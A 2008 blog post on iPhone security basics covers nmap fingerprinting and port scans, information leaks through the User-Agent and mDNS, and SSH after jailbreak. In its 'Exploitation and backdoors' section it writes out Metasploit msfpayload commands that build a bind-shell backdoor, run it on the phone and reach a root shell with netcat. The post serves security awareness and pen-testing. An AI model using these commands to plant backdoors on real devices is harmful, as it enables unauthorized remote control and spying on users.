Once you get access and
can finally use your iPhone, it is time to focus on the security of the device (this is what
the RaDaJo Blog is all about ;) ). This post covers the basics (Security 101), while future post will focus on specific iPhone capabilities, such as WiFi, Bluetooth, etc. It is interesting to analyze the security of the iPhone from two distinct angles:
- A device we need to protect as is (going to be) in wide spread use and, potentially, is going to store very sensitive and private information (call and SMS history, address book, voicemail data, user and mail credentials, application data, etc) and be used for voice and data communications.
- A mobile auditing device that could be used by infosec professionals to perform assessment in standard TCP/IP networks, and WiFi or Bluetooth environments. Remember it runs Unix, has plenty of storage (8Gb) and a decent CPU (400Mhz), plus extensive networking capabilities.
For now, let's focus on the first one.
NOTE: Although I figured out I duplicated some of the steps already performed
by Paul Asadoorian, I wanted to double-check the results and verify if there were any differences between a standard 1.1.2 iPhone and
a jailbroken one.
General iPhone Security- After getting access to an iPhone Unix shell, you can observe that every process runs as root. This is why the jailbreak process succeed, as the exploitation of the libtiff vulnerability through MobileSafari provided unlimited privileges on the device. Any future security flaw in any iPhone application can lead to a similar complete system compromise.
- The first known iPhone exploit was focused on vulnerabilities on the Perl Regular Expression Library (PCRE), and presented on BlackHat 2007.
- The iPhone is a fully-fledged client device, a mobile Mac, with support for Word, Excel and PDF docs. Watch out future vulnerabilities in the associated applications!
- The Metasploit Framework (MSF v3) already implements several payloads for the iPhone: bind and reverse shell, and even one to make it vibrate. See initial HD Moore security analysis.
- The iPhone multimedia capabilities can turn it into a perfect spying tool, specially by hacking the mic/speakers, camera and phone.
- As a consequence of the hacking wars between Apple and the community to free the device, the iPhone comes with the latest firmware installed from factory, 1.1.2 at this point in time. This is not always the case for lots of devices, as Paul points out.
- This is one of the most well known iPhone hacking demonstrations on the Internet: it turns the iPhone into a remote eavesdropping device or bug. You can see the video here! Metasploit was used to install a recording tool, called rrecord (remote record), that records the ambient sound around the iPhone.
OS FingerprintingUsing nmap 4.50, the iPhone (10.0.0.101) operating system (OS) can be easily fingerprinted:
# nmap -O 10.0.0.101
Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-02 14:44 GMT
All 1711 scanned ports on 10.0.0.101 are closed
MAC Address: 00:1E:C2:XX:XX:XX (Apple)
Device type: phone|media device|general purpose|web proxy|specialized
Running: Apple embedded, Apple Mac OS X 10.2.X|10.3.X|10.4.X|10.5.X, \
Blue Coat SGOS 5.X, FreeBSD 4.X, VMWare ESX Server 3.0.X
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
OS detection performed. Please report any incorrect results ...
Nmap done: 1 IP address (1 host up) scanned in 30.819 seconds
Because all the near 2000 scanned ports are closed, nmap output is not very accurate and it simply reflects a OS X device. At the end of the
jailbreak process we installed SSH. If the SSH service is enabled, then the nmap results are much more accurate (simply by using an open and a closed port, 22 and 80 respectively):
# nmap -O -p 22,80 10.0.0.101
Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-02 14:42 GMT
Interesting ports on 10.0.0.101:
PORT STATE SERVICE
22/tcp open ssh
80/tcp closed http
MAC Address: 00:1E:C2:XX:XX:XX (Apple)
Device type: phone|media device
Running: Apple embedded
OS details: Apple iPhone mobile phone or iPod Touch audio player (Darwin 9.0.0d1)
Uptime: 686.942 days (since Tue Feb 14 16:05:40 2006)
Network Distance: 1 hop
OS detection performed. Please report any incorrect results ...
Nmap done: 1 IP address (1 host up) scanned in 19.619 seconds
MobileSafariIf you browse the Web with the iPhone (using the MobileSafari browser) and point it to your own Web server (10.0.0.2), you can easily obtain the device User-Agent. What really surprised me was that you can even get the exact firmware version, 3B48b (meaning 1.1.2):
$ nc -l -p 80
GET / HTTP/1.1
Accept-Language: en
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420.1 \
(KHTML, like Gecko) Version/3.0 Mobile/3B48b Safari/419.3
Accept: text/xml,application/xml,application/xhtml+xml,text/html; \
q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Connection: keep-alive
Host: 10.0.0.2
TCP/IPThe iPhone responds to ping (ICMP echo requests) by default. It seems it could present a
potential Etherleak vulnerability, and in fact, I can confirm
Paul initial research, as I got the same behavior. BTW, the old Linksys WRT54G v5 (firmware version 1.00.2 - Oct. 31, 2005) I used for these tests suffers the same vulnerability (last 4 bytes are always different).
By default, connection establishments to closed TCP ports are answered with a TCP RST packet, and connection establishments to closed UDP ports are answered with an ICMP Port Unreachable packet.
If the SSH service is turned off (see next section), a full TCP scan only shows one port open, port TCP/62078:
# nmap -sT -p1-65535 10.0.0.101
Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-02 02:08 GMT
Interesting ports on 10.0.0.101:
Not shown: 65534 closed ports
PORT STATE SERVICE
62078/tcp open unknown
MAC Address: 00:1E:C2:XX:XX:XX (Apple)
Nmap done: 1 IP address (1 host up) scanned in 64531.180 seconds
The TCP/62078 port is used internally when
syncing with iTunes. Using tcpdump on the "lo0" interface from within the iPhone, it is possible to capture the traffic generated during a sync operation on iTunes. This traffic contains binary data and XML strings. It also uses other source and destination ports in the 49xxx range during the sync operation, always using the localhost address as source and destination.
A full UDP scan only shows the Multicast DNS port open, UDP/5353:
# nmap -sU -T4 -p1-65535 10.0.0.101
Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-14 03:00 GMT
Interesting ports on 10.0.0.101:
Not shown: 65534 closed ports
PORT STATE SERVICE
5353/udp open|filtered zeroconf
MAC Address: 00:1E:C2:XX:XX:XX (Apple)
Nmap done: 1 IP address (1 host up) scanned in 4966.680 seconds
Port UDP/5353 corresponds to the
Zeroconf (aka
Rendezvous or Bonjour) multicast protocol, or Zero Configuration Networking, used to establish networking connections without configuration or servers. The mDNSResponder service runs by default on this port and advertises the device on the local network, exposing device details. The multicast DNS traffic generated (destination IP 224.0.0.251) contains the device hostname, "iPhone", followed by a hyphen ("-") and the WiFi MAC address. Related details are leaked on the DHCP requests used to obtain an IP address. The iPhone includes its name on the requests, that by default is "iPhone".
The external port findings can be ratified by running "netstat" on the device. Surprisingly, specially with port TCP/62078, the bindings for all TCP and UDP ports discovered are made to all addresses (*.*).
SSHThe SSH service is enabled by default after the jailbreak. Specifically, the iPhone is running the OpenSSH 4.6 version. This info can be easily obtained using netcat or nmap:
# nc 10.0.0.101 22
SSH-2.0-OpenSSH_4.6
# nmap -sV -p 22 10.0.0.101
Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-02 14:39 GMT
Interesting ports on 10.0.0.101:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.6 (protocol 2.0)
MAC Address: 00:1E:C2:XX:XX:XX (Apple)
Service detection performed. Please report any incorrect results ...
Nmap done: 1 IP address (1 host up) scanned in 17.232 seconds
The SSH access is almost useless unless you
install the BSD Subsystem that provides all the standard Unix commands and tools.
Exploitation and backdoorsHD Moore did a great job in the
"Cracking the iPhone" series, dissecting the iPhone internals, providing debugging tools, and
walking the reader through the process of writing the exploit for
the libtiff vulnerability; not an easy task, since the iPhone stack memory is marked non-executable, therefore, standard stack-based buffer overflows don't work. The
original libtiff exploit, and
HD Moore's one, use the return-to-libc technique. Then, the exploit was
improved and
modified for stock iPhones (non-jailbroken). Very interesting read of a multi-part payload (stager/
stage) to execute code inside the iPhone, that finishes with a full MSF v3 session showing how to run the ipwn shell after exploiting the libtiff vulnerability, and how to patch this vulnerability.
As explained there, Metasploit provides support for iPhone executables in the "msfpayload" tool. This allows an attacker or pen-tester to create a stand-alone backdoor (iPhone executable) that can bind a shell to a port or launch a reverse shell or make the iPhone vibrate:
$ msfpayload osx/armle/shell_bind_tcp LPORT=2222 X > /tmp/bindshell.bin
Created by msfpayload (http://www.metasploit.com).
Payload: osx/armle/shell_bind_tcp
Length: 200
Options: LPORT=2222
To create the backdoor, this "bindshell.bin" binary should be copied to the iPhone (for example using PSCP to "/tmp"), its permissions changed, and executed. Then, a new shell is offerered on port TCP/2222 that can be remotely accessed with netcat:
$ ssh root@10.0.0.101
# cd /tmp
# chmod u+x bindshell.bin
# ./bindshell.bin
$ nc 10.0.0.101
id
uid=0(root) gid=0(wheel) groups=0(wheel)
pwd
/private/var/tmp
ls -l
total 80
drwx------ 2 root wheel 102 Feb 2 02:56 MediaCache
-rw-r--r-- 1 root wheel 0 Feb 2 04:16 MobileSyncRunning.lock
-rwxr--r-- 1 root wheel 16472 Feb 2 05:01 bind.bin
drwx------ 2 root wheel 102 Feb 2 02:56 launchd
-rw-r--r-- 1 root wheel 16472 Feb 2 05:01 vibrate.bin
uname -a
Darwin 10.0.0.101 9.0.0d1 Darwin Kernel Version 9.0.0d1: Wed Oct 10 00:07:50 PDT
2007; root:xnu-933.0.0.204.obj~7/RELEASE_ARM_S5L8900XRB iPhone1,1 unknown
I want to close this initial iPhone security post emphasizing one of the major risks with the current software distribution model on the iPhone. After the jailbreak it is possible to install third-party apps on the device through the "Installer" package manager. Users could download malicious software from the available repositories. In fact, exploiting this input vector,
the first iPhone malware specimen was released early this year. It used social engineering tricks to present itself as a preparation software required to update to version 1.1.3, but it was not very dangerous this time. What if someone publishes the Metasploit payloads described before through "Installer"? Additionally, and although it was not created with malicious intentions, there is a
Mobile Safari plug-in that provides file downloading capabilities to the browser - another way of downloading all kind of files into the device.
Labels: Apple
